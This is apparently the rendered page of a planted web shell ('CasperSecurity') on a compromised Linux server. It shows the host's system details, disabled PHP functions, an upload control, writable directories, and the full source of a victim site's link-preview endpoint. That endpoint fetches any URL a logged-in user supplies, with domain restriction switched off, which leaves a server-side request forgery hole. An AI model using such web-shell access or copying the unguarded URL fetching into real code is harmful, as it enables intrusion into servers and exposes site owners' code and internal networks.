T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/api/get_link_preview.php
<?php
/**
 * Link Preview API Endpoint
 * Fetches Open Graph metadata from URLs for link previews in messages
 */

header('Content-Type: application/json');
session_start();
require_once __DIR__ . '/../config/database.php';
require_once __DIR__ . '/../includes/security.php';

// Check authentication
if (!isset($_SESSION['user_id'])) {
    echo json_encode(['success' => false, 'message' => 'Authentication required']);
    exit;
}

$url = $_GET['url'] ?? '';

if (empty($url)) {
    echo json_encode(['success' => false, 'message' => 'URL is required']);
    exit;
}

// Validate URL
if (!filter_var($url, FILTER_VALIDATE_URL)) {
    echo json_encode(['success' => false, 'message' => 'Invalid URL']);
    exit;
}

// Domain restriction - set to true to only allow your domain, false to allow all domains
$restrict_to_domain = false; // Change to true to only allow soundstudiopro.com links

$parsed_url = parse_url($url);
if ($restrict_to_domain) {
    $allowed_domains = ['soundstudiopro.com', 'www.soundstudiopro.com'];
    $host = strtolower($parsed_url['host'] ?? '');
    // Remove www. prefix for comparison
    $host = preg_replace('/^www\./', '', $host);
    
    if (!in_array($host, array_map(function($d) { return preg_replace('/^www\./', '', strtolower($d)); }, $allowed_domains))) {
        echo json_encode(['success' => false, 'message' => 'Domain not allowed']);
        exit;
    }
}

// Function to fetch OG metadata from URL
function fetchOGMetadata($url) {
    $result = [
        'title' => '',
        'description' => '',
        'image' => '',
        'url' => $url,
        'site_name' => ''
    ];
    
    $parsed_url = parse_url($url);
    $host = strtolower($parsed_url['host'] ?? '');
    $isFacebook = strpos($host, 'facebook.com') !== false;
    
    try {
        // For Facebook links, try multiple approaches
        if ($isFacebook) {
            // First, try the mobile version which sometimes has better OG tags
            $mobileUrl = str_replace('www.facebook.com', 'm.facebook.com', $url);
            $mobileUrl = str_replace('facebook.com', 'm.facebook.com', $mobileUrl);
            
            // Try mobile version first
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $mobileUrl);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
            curl_setopt($ch, CURLOPT_USERAGENT, 'facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)');
            curl_setopt($ch, CURLOPT_HTTPHEADER, [
                'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language: en-US,en;q=0.9'
            ]);
            
            $mobileHtml = curl_exec($ch);
            $mobileHttpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            // Try to extract OG tags from mobile version
            if ($mobileHtml && $mobileHttpCode == 200) {
                $dom = new DOMDocument();
                @$dom->loadHTML(mb_convert_encoding($mobileHtml, 'HTML-ENTITIES', 'UTF-8'));
                $xpath = new DOMXPath($dom);
                
                $imageNodes = $xpath->query("//meta[@property='og:image']");
                if ($imageNodes->length > 0) {
                    $imageUrl = trim($imageNodes->item(0)->getAttribute('content'));
                    if (!empty($imageUrl)) {
                        $result['image'] = $imageUrl;
                    }
                }
                
                $titleNodes = $xpath->query("//meta[@property='og:title']");
                if ($titleNodes->length > 0) {
                    $ogTitle = trim($titleNodes->item(0)->getAttribute('content'));
                    if (!empty($ogTitle) && stripos($ogTitle, 'log in') === false) {
                        $result['title'] = $ogTitle;
                    }
                }
                
                $descNodes = $xpath->query("//meta[@property='og:description']");
                if ($descNodes->length > 0) {
                    $ogDesc = trim($descNodes->item(0)->getAttribute('content'));
                    if (!empty($ogDesc) && stripos($ogDesc, 'log in') === false) {
                        $result['description'] = $ogDesc;
                    }
                }
                
                // If we got good data from mobile, return it
                if (!empty($result['image']) || (!empty($result['title']) && $result['title'] !== 'Facebook' && stripos($result['title'], 'log in') === false)) {
                    if (empty($result['site_name'])) {
                        $result['site_name'] = 'Facebook';
                    }
                    return $result;
                }
            }
            
            // Fallback to tryFacebookOEmbed function
            $fbResult = tryFacebookOEmbed($url);
            if ($fbResult && !empty($fbResult['title'])) {
                // Merge results, prioritizing OG data
                if (empty($result['image']) && !empty($fbResult['image'])) {
                    $result['image'] = $fbResult['image'];
                }
                if (empty($result['title']) && !empty($fbResult['title'])) {
                    $result['title'] = $fbResult['title'];
                }
                if (empty($result['description']) && !empty($fbResult['description'])) {
                    $result['description'] = $fbResult['description'];
                }
                if (empty($result['site_name'])) {
                    $result['site_name'] = $fbResult['site_name'];
                }
            }
        }
        
        // Set up cURL with proper headers and timeout for regular URL
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
        
        // Enhanced headers - use Facebook's bot user agent for Facebook links
        if ($isFacebook) {
            $headers = [
                'User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)',
                'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language: en-US,en;q=0.9'
            ];
        } else {
            $headers = [
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
                'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
                'Accept-Language: en-US,en;q=0.9',
                'Accept-Encoding: gzip, deflate, br',
                'Connection: keep-alive',
                'Upgrade-Insecure-Requests: 1',
                'Sec-Fetch-Dest: document',
                'Sec-Fetch-Mode: navigate',
                'Sec-Fetch-Site: none',
                'Cache-Control: max-age=0'
            ];
        }
        
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate, br');
        curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
        curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
        
        $html = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        $contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
        curl_close($ch);
        
        // Check if we got redirected to a login page (common with Facebook)
        $isLoginPage = $isFacebook && (
            stripos($html, 'log in') !== false || 
            stripos($html, 'Log Into Facebook') !== false || 
            stripos($html, 'login') !== false ||
            stripos($html, 'must log in') !== false ||
            stripos($html, 'sign up') !== false
        );
        
        if ($isLoginPage) {
            // Try to extract basic info even from login page
            $fbInfo = tryFacebookOEmbed($url);
            if (!empty($fbInfo['title'])) {
                return $fbInfo;
            }
            // Fallback
            $result['title'] = 'Facebook';
            $result['site_name'] = 'Facebook';
            $result['description'] = 'View on Facebook (login required)';
            return $result;
        }
        
        if ($error || ($httpCode !== 200 && $httpCode !== 301 && $httpCode !== 302) || empty($html)) {
            // If Facebook link failed, return basic info
            if ($isFacebook) {
                $result['title'] = 'Facebook';
                $result['site_name'] = 'Facebook';
                $result['description'] = 'View on Facebook';
            }
            return $result;
        }
        
        // Parse HTML to extract OG tags
        $dom = new DOMDocument();
        @$dom->loadHTML(mb_convert_encoding($html, 'HTML-ENTITIES', 'UTF-8'));
        $xpath = new DOMXPath($dom);
        
        // Extract OG tags
        $ogTags = [
            'og:title' => 'title',
            'og:description' => 'description',
            'og:image' => 'image',
            'og:site_name' => 'site_name',
            'og:url' => 'url'
        ];
        
        foreach ($ogTags as $ogProperty => $resultKey) {
            $nodes = $xpath->query("//meta[@property='{$ogProperty}']");
            if ($nodes->length > 0) {
                $content = $nodes->item(0)->getAttribute('content');
                if (!empty($content)) {
                    $result[$resultKey] = trim($content);
                }
            }
        }
        
        // Fallback to regular meta tags if OG tags not found
        if (empty($result['title'])) {
            $titleNodes = $xpath->query("//title");
            if ($titleNodes->length > 0) {
                $result['title'] = trim($titleNodes->item(0)->textContent);
            }
        }
        
        if (empty($result['description'])) {
            $descNodes = $xpath->query("//meta[@name='description']");
            if ($descNodes->length > 0) {
                $result['description'] = trim($descNodes->item(0)->getAttribute('content'));
            }
        }
        
        // Make image URL absolute if it's relative
        if (!empty($result['image']) && !preg_match('/^https?:\/\//', $result['image'])) {
            $urlParts = parse_url($url);
            $baseUrl = ($urlParts['scheme'] ?? 'https') . '://' . ($urlParts['host'] ?? '');
            if (isset($urlParts['port'])) {
                $baseUrl .= ':' . $urlParts['port'];
            }
            if (strpos($result['image'], '/') === 0) {
                $result['image'] = $baseUrl . $result['image'];
            } else {
                $path = dirname($urlParts['path'] ?? '/');
                $result['image'] = $baseUrl . $path . '/' . $result['image'];
            }
        }
        
        // Extract domain name for site_name if not set
        if (empty($result['site_name'])) {
            $urlParts = parse_url($url);
            $result['site_name'] = $urlParts['host'] ?? 'SoundStudioPro';
        }
        
    } catch (Exception $e) {
        error_log("Error fetching OG metadata: " . $e->getMessage());
    }
    
    return $result;
}

// Function to try Facebook oEmbed API and Graph API
function tryFacebookOEmbed($url) {
    $result = [
        'title' => '',
        'description' => '',
        'image' => '',
        'url' => $url,
        'site_name' => 'Facebook'
    ];
    
    // Extract page/group identifier from URL
    $pageId = null;
    $isGroup = false;
    $isPage = false;
    
    if (preg_match('/\/groups\/([^\/\?]+)/', $url, $matches)) {
        $pageId = urldecode($matches[1]);
        $isGroup = true;
        $groupName = str_replace(['-', '_'], ' ', $pageId);
        $result['title'] = 'Facebook Group: ' . ucwords($groupName);
        $result['description'] = 'Join this Facebook group';
    } elseif (preg_match('/\/pages\/([^\/\?]+)/', $url, $matches)) {
        $pageId = urldecode($matches[1]);
        $isPage = true;
        $pageName = str_replace(['-', '_'], ' ', $pageId);
        $result['title'] = 'Facebook Page: ' . ucwords($pageName);
        $result['description'] = 'Visit this Facebook page';
    } elseif (preg_match('/facebook\.com\/([^\/\?]+)/', $url, $matches)) {
        $pageId = urldecode($matches[1]);
        if ($pageId !== 'www' && $pageId !== 'groups' && $pageId !== 'pages' && !preg_match('/^[0-9]+$/', $pageId)) {
            $pageName = str_replace(['-', '_'], ' ', $pageId);
            $result['title'] = 'Facebook: ' . ucwords($pageName);
            $result['description'] = 'View on Facebook';
            $isPage = true;
        }
    }
    
    // Try to fetch OG data using Facebook's sharing debugger endpoint (public, no auth needed)
    if ($pageId) {
        $debugUrl = 'https://developers.facebook.com/tools/debug/echo/?q=' . urlencode($url);
        
        try {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url . '?sk=about'); // Try about page which sometimes has more public info
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
            curl_setopt($ch, CURLOPT_USERAGENT, 'facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)');
            curl_setopt($ch, CURLOPT_HTTPHEADER, [
                'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language: en-US,en;q=0.9'
            ]);
            
            $html = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            // Try to extract OG tags even from login page (sometimes they're still there)
            if ($html && $httpCode == 200) {
                $dom = new DOMDocument();
                @$dom->loadHTML(mb_convert_encoding($html, 'HTML-ENTITIES', 'UTF-8'));
                $xpath = new DOMXPath($dom);
                
                // Try to get OG image
                $imageNodes = $xpath->query("//meta[@property='og:image']");
                if ($imageNodes->length > 0) {
                    $imageUrl = trim($imageNodes->item(0)->getAttribute('content'));
                    if (!empty($imageUrl) && strpos($imageUrl, 'facebook.com') !== false) {
                        $result['image'] = $imageUrl;
                    }
                }
                
                // Try to get OG title
                $titleNodes = $xpath->query("//meta[@property='og:title']");
                if ($titleNodes->length > 0) {
                    $ogTitle = trim($titleNodes->item(0)->getAttribute('content'));
                    if (!empty($ogTitle) && stripos($ogTitle, 'log in') === false) {
                        $result['title'] = $ogTitle;
                    }
                }
                
                // Try to get OG description
                $descNodes = $xpath->query("//meta[@property='og:description']");
                if ($descNodes->length > 0) {
                    $ogDesc = trim($descNodes->item(0)->getAttribute('content'));
                    if (!empty($ogDesc) && stripos($ogDesc, 'log in') === false) {
                        $result['description'] = $ogDesc;
                    }
                }
            }
        } catch (Exception $e) {
            error_log("Error fetching Facebook OG data: " . $e->getMessage());
        }
    }
    
    // Fallback images if no image found
    if (empty($result['image'])) {
        if ($isGroup) {
            $result['image'] = 'https://static.xx.fbcdn.net/rsrc.php/v3/yx/r/9M3lGjPJ9qK.png';
        } elseif ($isPage) {
            // Try a generic Facebook page image
            $result['image'] = 'https://static.xx.fbcdn.net/rsrc.php/v3/yz/r/ujTY9Bound_j.png';
        } else {
            $result['image'] = 'https://static.xx.fbcdn.net/rsrc.php/yb/r/hLRJ1GG_y0J.svg';
        }
    }
    
    return $result;
}

$metadata = fetchOGMetadata($url);

echo json_encode([
    'success' => true,
    'preview' => $metadata
]);


CasperSecurity Mini